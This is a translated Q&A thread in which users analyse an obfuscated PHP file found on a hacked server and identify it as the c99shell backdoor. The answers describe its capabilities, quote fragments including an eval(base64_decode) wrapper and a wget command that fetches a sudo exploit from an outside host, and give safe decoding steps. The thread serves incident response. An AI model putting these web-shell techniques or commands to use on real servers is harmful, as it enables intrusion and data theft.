2010-09-14 23 views
22

ADVERTENCIA: Esto es un posible exploit. No ejecute directamente en su servidor si no está seguro de qué hacer con esto.Hackeado, ¿qué hace este fragmento de código?

http://pastehtml.com/view/1b1m2r6.txt

Creo que esto fue cargado a través de un script de carga insegura. ¿Cómo decodifico y descomprimo este código? Ejecutarlo en el navegador podría ejecutarlo como un script de shell, abrir un puerto o algo así.

Puedo hacer una decodificación base64 en línea, pero realmente no pude descomprimirla.

+0

¿Es posible para usted para pegar el código aquí? No puedo abrir este enlace .. – jyz

+1

Me temo que se ha ejecutado aún. :(Por cierto, puedes descomprimirlo pero no evaluarlo. – fabrik

+1

@jyzuz: El código es enorme. – fabrik

Respuesta

32

Así que hay una cadena. Está codificado gzipped y base64, y el código decodifica el base64 y luego lo descomprime.

Cuando se hace eso, estoy con este resultado:

<? eval(base64_decode('...')); ?> 

Otra capa de base 64, que es 720440 bytes de longitud.

Ahora, decodificación base64, tenemos 506961 bytes de código de explotación.

Todavía estoy examinando el código, y actualizaré esta respuesta cuando tenga más conocimiento. El código es enorme

Aún así la lectura a través del código, y la (muy bien hecha) exploit permite que estas herramientas sean expuestos al hacker:

  • configuración TCP puerta trasera
  • acceso a una consola no autorizada
  • lectura de todos archivos htpasswd, htaccess, contraseña y configuración
  • registro limpiando
  • acceso de MySQL (lectura, escritura)
  • append código a todos los archivos que coinciden con un patrón de nombre (masa explotar)
  • RFI escáner/LFI
  • inundaciones UDP
  • información del kernel

Esto es probablemente un conjunto de herramientas profesionales de todo el servidor explotar basado en PHP, y ya que tiene una buena interfaz de HTML y todo el conjunto, podría ser utilizado fácilmente por un hacker pro, o incluso un script kiddie.

Este exploit se llama c99shell (gracias a Yi Jiang) y resulta ser bastante popular, ya hace años que se habla de él y se está ejecutando. Hay muchos resultados en Google para este exploit.

+3

Guau, es una configuración de puerta trasera completa. Aunque el tipo que lo subió es probablemente otro script kiddie. Fue alojado directamente en nuestro directorio raíz de Apache. Y un hacker real lo habría eliminado luego de configurar la puerta trasera. – HyderA

+0

Tiene un script de shell, una cadena llamada $ backdoor, que se escribe y se ejecuta. El PHP le dice al usuario que esto se ha hecho y para conectarse con netcat. –

+4

Mierda como esta me asusta 'array (" wget Sudo Exploit "," wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c "),' – HyderA

3

Primero, reemplace el eval con un echo para ver qué código ejecutaría si lo dejara. Envía el resultado de ese script a otro archivo, digamos, test2.php. En ese archivo, haz el mismo truco de nuevo. Ejecútelo, y dará como resultado el programa malicioso completo (es una bestia), ~ 4k líneas de delicia para hackers.

+0

Tienes razón, ¿por qué no pensé en eso? – HyderA

16

Al observar la fuente decodificada de Delan, parece ser una puerta trasera completa que proporciona una interfaz web que se puede utilizar para controlar el servidor de varias maneras.Contando fragmentos de la fuente:

echo '<center>Are you sure you want to install an IP:Port proxy on this 
website/server?<br /> 

o

<b>Mass Code Injection:</b><br><br> 
Use this to add PHP to the end of every .php page in the directory specified. 

o

echo "<br><b>UDP Flood</b><br>Completed with $pakits (" . 
    round(($pakits*65)/1024, 2) . " MB) packets averaging ". 
    round($pakits/$exec_time, 2) . " packets per second \n"; 

o

if (!$fp) {echo "Can't get /etc/passwd for password-list.";} 

te aconsejo que para fregar ese servidor y volver a instalar todo, desde rasguño.

+4

+1 de mí, buen consejo. –

7

Sé Delan Azabani ha hecho esto, pero sólo por lo que realmente sé cómo consiguió los datos de salida:

Sólo en caso de que se esté preguntando cómo descomprimir esto, utilizar base64 -d filename > output a analizar cadenas base64 y gunzip file.name.gz a analizar gzip datos.

El truco está en reconocer que lo que tienes es base64 o gunzip y descomprimir los bits correctos.

De esta forma, no llega a ningún punto cercano a un analizador JS o PHP.

+2

Gran punta de seguridad; nunca dejes que se ejecute. –

2

Código de shell php.
decodificar esta

reemplazar reemplazar eval ("?>". Con la impresión ( plazo esto

php5 file.php > file2.php 

entonces reemplazar eval con la impresión y se ejecutan en el navegador. http://loclhost/file2.php